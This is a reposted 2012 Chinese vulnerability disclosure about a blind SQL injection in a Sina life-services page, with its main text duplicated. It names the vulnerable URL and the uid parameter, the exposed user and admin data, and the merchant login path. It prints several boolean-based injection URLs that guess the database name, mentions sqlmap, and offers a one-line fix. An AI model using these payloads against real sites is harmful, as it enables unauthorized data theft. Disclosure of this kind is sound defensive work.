新浪生活服務(wù)互動(dòng)社區(qū)Mysql盲注漏洞的介紹及其修復(fù)方法(圖解)
發(fā)布時(shí)間：2012-06-01 09:41:25 作者：佚名 
我要評(píng)論
我要評(píng)論Mysql盲注漏洞,做網(wǎng)站的要關(guān)注哦
注入漏洞存在地址為
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310
其中該漏洞可以導(dǎo)致數(shù)據(jù)泄漏，其中泄漏的數(shù)據(jù)包括團(tuán)購，優(yōu)惠券、以及用戶聯(lián)系方式，smslog，團(tuán)購商戶、admin等數(shù)據(jù)。
同時(shí)，團(tuán)購的商戶登陸地址為
http://life.sina.com.cn/tuanadmin
漏洞證明：下面為手工猜解數(shù)據(jù)庫名的語句為
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and Length((database()))<5
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=108
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=105
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=102
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=101
下圖為注入是返回對(duì)正確與錯(cuò)誤的截圖
注入返回對(duì)的情況截圖
注入時(shí)返回錯(cuò)的情況截圖
一下是使用sqlmap對(duì)注入點(diǎn)進(jìn)行注入攻擊，一下該例為查詢數(shù)據(jù)庫banner，通過改變命令參數(shù)可以對(duì)其進(jìn)行更深入的攻擊。
修復(fù)方案：
對(duì)其uid參數(shù)進(jìn)行檢查并且進(jìn)行過濾。
作者 Insight-labs
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310
其中該漏洞可以導(dǎo)致數(shù)據(jù)泄漏，其中泄漏的數(shù)據(jù)包括團(tuán)購，優(yōu)惠券、以及用戶聯(lián)系方式，smslog，團(tuán)購商戶、admin等數(shù)據(jù)。
同時(shí)，團(tuán)購的商戶登陸地址為
http://life.sina.com.cn/tuanadmin
漏洞證明：下面為手工猜解數(shù)據(jù)庫名的語句為
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and Length((database()))<5
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=108
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=105
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=102
http://life.sina.com.cn/act/cgi/mother/md?uid=1464029310 and ascii(substring((database()),1,1))=101
下圖為注入是返回對(duì)正確與錯(cuò)誤的截圖
注入返回對(duì)的情況截圖
注入時(shí)返回錯(cuò)的情況截圖
一下是使用sqlmap對(duì)注入點(diǎn)進(jìn)行注入攻擊，一下該例為查詢數(shù)據(jù)庫banner，通過改變命令參數(shù)可以對(duì)其進(jìn)行更深入的攻擊。
修復(fù)方案：
對(duì)其uid參數(shù)進(jìn)行檢查并且進(jìn)行過濾。
作者 Insight-labs
相關(guān)文章
局域網(wǎng)共享安全方式之用局域網(wǎng)文件共享系統(tǒng)實(shí)現(xiàn)共享文件夾安全設(shè)置
現(xiàn)在很多單位都有文件服務(wù)器，經(jīng)常會(huì)共享文件讓局域網(wǎng)用戶訪問。那么，如何才能保護(hù)局域網(wǎng)內(nèi)共享文件夾的安全性呢？下面通過本文給大家分享局域網(wǎng)共享安全方式之用局域網(wǎng)文2017-05-11- 這篇文章主要介紹了IIS的FastCGI漏洞處理方法,需要的朋友可以參考下2017-04-30
IIS PHP fastcgi模式 pathinfo取值錯(cuò)誤任意代碼執(zhí)行漏洞修復(fù)方法
這篇文章主要介紹了PHP fastcgi模式 pathinfo取值錯(cuò)誤任意代碼執(zhí)行漏洞,需要的朋友可以參考下2017-04-30- IIS短文件名泄露漏洞，IIS上實(shí)現(xiàn)上存在文件枚舉漏洞，攻擊者可利用此漏洞枚舉獲取服務(wù)器根目錄中的文件，這里為大家分享一下安裝方法,需要的朋友可以參考下2017-04-23
用mcafee麥咖啡設(shè)置服務(wù)器基本用戶安全(防止新建用戶與修改密碼)
這篇文章主要介紹了用麥咖啡設(shè)置服務(wù)器基本用戶安全(防止新建用戶與修改密碼),需要的朋友可以參考下2017-02-26- 這篇文章主要介紹了防范黑客入侵，關(guān)閉端口封鎖大門 黑客無法入侵的相關(guān)資料,需要的朋友可以參考下2016-10-31
現(xiàn)代網(wǎng)絡(luò)性能監(jiān)控工具應(yīng)具備何種技能?網(wǎng)絡(luò)與應(yīng)用程序監(jiān)控
大家都知道現(xiàn)在市場(chǎng)上的網(wǎng)絡(luò)性能監(jiān)控工具大有所在，這為現(xiàn)在的IT行業(yè)的人員提供了很多便利，幫助IT管理團(tuán)隊(duì)監(jiān)控網(wǎng)絡(luò)性能，并且?guī)椭鶬T管理人員確定系統(tǒng)性能的瓶頸所在，進(jìn)而2016-10-19- 雖然現(xiàn)在網(wǎng)絡(luò)很發(fā)達(dá)，但對(duì)我們普通人而言，也就是10多年的上網(wǎng)歷史，好多人還沒意識(shí)到信息安全的重要性。那么如何保證自己的上網(wǎng)安全?下面小編為大家分享10條防范自救，一2016-10-12
- 這篇文章主要介紹了遠(yuǎn)離病毒 八項(xiàng)基本原則的相關(guān)資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了Linux 防范病毒的方法的相關(guān)資料,需要的朋友可以參考下2016-10-08
